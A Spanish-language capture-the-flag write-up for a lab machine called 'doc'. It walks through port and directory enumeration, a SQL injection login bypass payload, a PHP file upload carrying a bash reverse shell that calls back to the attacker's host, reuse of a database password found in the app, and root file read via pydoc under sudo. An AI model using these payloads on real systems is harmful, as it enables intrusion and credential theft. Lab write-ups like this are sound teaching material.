Enumeración de servicios
Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.102
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-19 16:59 -04
Nmap scan report for 192.168.1.102
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0
|_http-title: Online Traffic Offense Management System - PHP
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.11 secondsEnumeramos con gobuster:
❯ gobuster dir -u 'http://192.168.1.102' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index.php (Status: 200) [Size: 14323]
/admin (Status: 200) [Size: 22482]
/config.php (Status: 200) [Size: 0]
/uploads (Status: 403) [Size: 153]
...SQL Injection y acceso al panel
El sitio es Online Traffic Offense Management System y utiliza el nombre doc.hmv, que añadimos a /etc/hosts. El formulario de acceso concatena la entrada del usuario en una consulta SQL. El payload altera la condición lógica para que resulte verdadera y comenta el resto de la sentencia, produciendo un bypass de autenticación mediante SQL Injection:
admin' or 1=1-- -Acceso inicial mediante Unrestricted File Upload
Dentro del panel creamos un nuevo driver. El campo de imagen acepta un archivo PHP y la aplicación lo almacena bajo una ruta servida por el servidor web. Esta combinación, aceptación de código y ejecución posterior en una ubicación pública, constituye Unrestricted File Upload RCE:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.3/1234 0>&1'");
?>Al editar el usuario se ejecuta el archivo y obtenemos una shell como www-data:
❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.102:39374.
bash: cannot set terminal process group (325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@doc:~/html/traffic_offense/uploads/drivers$Movimiento lateral mediante Credential Reuse
En initialize.php encontramos credenciales de base de datos asociadas al nombre bella. La misma contraseña también es válida para la cuenta local, por lo que pasamos de www-data a bella mediante reutilización de credenciales:
www-data@doc:~/html/traffic_offense$ cat initialize.php
...
if(!defined('DB_USERNAME')) define('DB_USERNAME',"bella");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"be114yTU");
...
www-data@doc:~/html/traffic_offense$ su bella
Password: be114yTU
bella@doc:/var/www/html/traffic_offense$Escalada mediante pydoc
Obtenemos la primera flag. Revisamos sudo -l:
bella@doc:~$ sudo -l
Matching Defaults entries for bella on doc:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bella may run the following commands on doc:
(ALL : ALL) NOPASSWD: /usr/bin/docAnalizamos el binario doc, que internamente ejecuta pydoc:
...
/usr/bin/pydoc3.9 -p 7890
...doc inicia pydoc como root, por lo que Python pydoc Arbitrary File Read (CVE-2021-3426), registrada como CVE-2021-3426 en NVD, hereda esos permisos. Es una variante específica de Arbitrary File Read alcanzada mediante Sudo-Allowed Program Abuse. El endpoint getfile acepta una ruta arbitraria y devuelve su contenido. Como el servidor escucha únicamente en la interfaz local, dejamos el proceso privilegiado activo y hacemos la petición desde otra shell ya abierta en la máquina:
bella@doc:~$ sudo doc
Server ready at http://localhost:7890/
Server commands: [b]rowser, [q]uit
server>
www-data@doc:~/html/traffic_offense/uploads/drivers$ curl http://localhost:7890/getfile?key=/root/root.txtObtenemos nuestra flag.
Fin.